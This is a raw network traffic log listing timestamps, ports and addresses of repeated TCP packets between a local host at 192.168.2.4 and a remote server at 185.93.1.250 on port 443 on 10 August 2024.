Aug 10, 2024 19:10:08.191751957 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.273667097 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.273734093 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.273893118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.273893118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.273955107 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.274029970 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.274135113 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.274182081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.274197102 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.274213076 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.274245024 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.274265051 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.274859905 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.274920940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.275089025 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.275089979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.275151968 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.275242090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.275327921 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.275379896 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.275398016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.275413036 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.275444031 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.275486946 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.275958061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.276005030 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.276155949 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.276155949 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.276218891 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.276274920 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.276756048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.276799917 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.276823997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.276839018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.276870966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.276895046 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.283355951 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.283418894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.283549070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.283549070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.283611059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.283673048 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.284126043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.284193993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.284328938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.284328938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.284389973 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.284451962 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.366478920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.366537094 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.366559982 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.366575003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.366605997 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.366626978 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.366672039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.366718054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.366913080 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.366914034 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.366976023 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.367041111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.367140055 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.367187023 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.367343903 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.367343903 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.367404938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.367460966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.367925882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.367985010 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.368007898 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.368021965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.368061066 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.368081093 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.368431091 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.368473053 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.368495941 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.368541002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.368577957 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.368598938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.369307041 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.369364977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.369395971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.369406939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.369432926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.369451046 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.375879049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.375937939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.376079082 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.376079082 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.376142025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.376216888 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.376430035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.376517057 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.376521111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.376545906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.376586914 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.376619101 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.458791018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.458848000 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.458944082 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.458945036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.459024906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.459090948 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.459337950 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.459387064 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.459448099 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.459448099 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.459470034 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.459840059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.459966898 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.460015059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.460048914 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.460067987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.460097075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.460139990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.460464001 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.460535049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.460546017 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.460558891 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.460594893 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.460616112 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.461107016 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.461149931 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.461188078 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.461204052 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.461225986 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.461272955 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.461791039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.461836100 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.461870909 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.461880922 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.461915016 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.461941957 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.468321085 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.468389034 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.468414068 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.468430042 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.468461037 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.468616962 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.469146013 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.469204903 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.469224930 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.469238043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.469269991 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.469326973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552181005 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552249908 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552270889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552292109 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552320004 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552356005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552432060 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552511930 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552517891 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552541018 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552571058 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552850962 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552882910 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552906036 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552907944 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552937031 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.552990913 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.552992105 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.553417921 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.553459883 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.553493977 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.553508043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.553543091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.553580999 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.554191113 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.554267883 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.554279089 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.554308891 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.554349899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.554349899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.555064917 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.555129051 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.555138111 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.555160046 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.555203915 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.555468082 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.561203003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.561265945 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.561291933 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.561307907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.561336040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.561356068 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.561760902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.561803102 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.561834097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.561850071 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.561878920 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.561958075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.644706011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.644764900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.644938946 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.644938946 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.645001888 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.645220995 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.645232916 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.645246983 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.645283937 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.645287991 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.645327091 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.645370007 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.645405054 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.646104097 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.646146059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.646190882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.646210909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.646236897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.646302938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.646351099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.646368027 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.646379948 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.646413088 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.646433115 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.647044897 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.647089005 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.647125959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.647141933 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.647167921 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.647325993 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.647716045 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.647759914 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.647794008 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.647804976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.647833109 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.647945881 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.653285027 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.653335094 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.653374910 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.653387070 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.653417110 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.654062986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.654110909 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.654133081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.654145002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:08.654176950 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:08.654197931 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.717730999 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.717761040 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.717807055 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.718008041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.718008041 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.718105078 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.718153954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.718210936 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.718210936 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.718776941 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.718839884 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.718990088 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.718990088 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.719050884 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.719742060 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.719805002 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.719822884 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.719841003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.719872952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.719959974 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.720002890 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.720021963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.720036983 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.720067978 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.720514059 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.720582962 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.720586061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.720621109 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.720659971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.721110106 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.721131086 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.721168995 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.721180916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.721209049 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.721225977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.721251011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.721282005 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.721292973 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.721323967 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.722228050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.722249031 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.722287893 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.722301960 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.722331047 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.722925901 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.722951889 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.722987890 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.723000050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.723031044 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.723536968 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.723557949 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.723608971 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.723619938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.723645926 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.724415064 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.724438906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.724522114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.724530935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.724530935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.724539042 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.724553108 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.724585056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.724606037 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.725625038 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.725646019 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.725687981 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.725698948 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.725725889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.725743055 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.725919008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.725941896 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.725984097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.725996017 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726021051 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726051092 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726413965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726444960 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726489067 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726499081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726525068 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726717949 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726788044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726811886 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726852894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726869106 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.726891994 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.726912022 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.727560043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.727586031 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.727622032 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.727632999 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.727660894 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.727667093 CEST	443	49734	185.93.1.250	192.168.2.4
